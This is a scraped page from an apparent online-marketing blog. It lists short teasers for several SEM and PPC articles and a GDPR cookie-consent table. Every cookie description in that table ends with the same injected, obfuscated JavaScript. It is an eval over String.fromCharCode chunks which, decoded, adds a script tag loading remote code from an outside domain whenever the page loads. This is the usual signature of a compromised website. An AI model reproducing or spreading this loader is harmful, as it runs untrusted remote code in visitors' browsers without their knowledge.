SEM

July 11, 2019
by Andy Longhurst
SEM, SEO

SEO vs. PPC: A Few Forgotten Truths

For years, people in this industry debated the merits of paid search advertising versus organic search marketing.

June 5, 2019
by Andy Longhurst
SEM

10 ways to write better mobile PPC ads

In the not-so-distant past, PPC managers created multiple campaigns divided up by device to easily differentiate and customize messages to

February 23, 2019
by Andy Longhurst
SEM, SEO

Market Your Business For Free: Directory Submission

Link building isn't always the most effective way to market your business. This is because Google is constantly changing its

October 2, 2018
by Andy Longhurst
Online Marketing, SEM

Pay Per Click advertising – a beginner’s guide on how to get started

If you’ve started dabbling in search engine optimisation for your small business website, you might have considered pay per click

Privacy Overview

This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.

Necessary

Always Enabled

Necessary cookies are absolutely essential for the website to function properly. These cookies ensure basic functionalities and security features of the website, anonymously.

Cookie	Duration	Description
cookielawinfo-checkbox-analytics	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/99586587347/
cookielawinfo-checkbox-functional	11 months	The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/99586587347/
cookielawinfo-checkbox-necessary	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/99586587347/
cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/99586587347/
cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/99586587347/
viewed_cookie_policy	11 months	The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/99586587347/

Functional

Performance

Analytics

Others

SEM

SEO vs. PPC: A Few Forgotten Truths

10 ways to write better mobile PPC ads

Market Your Business For Free: Directory Submission

Pay Per Click advertising – a beginner’s guide on how to get started

Our Services

Important Link

Contact Info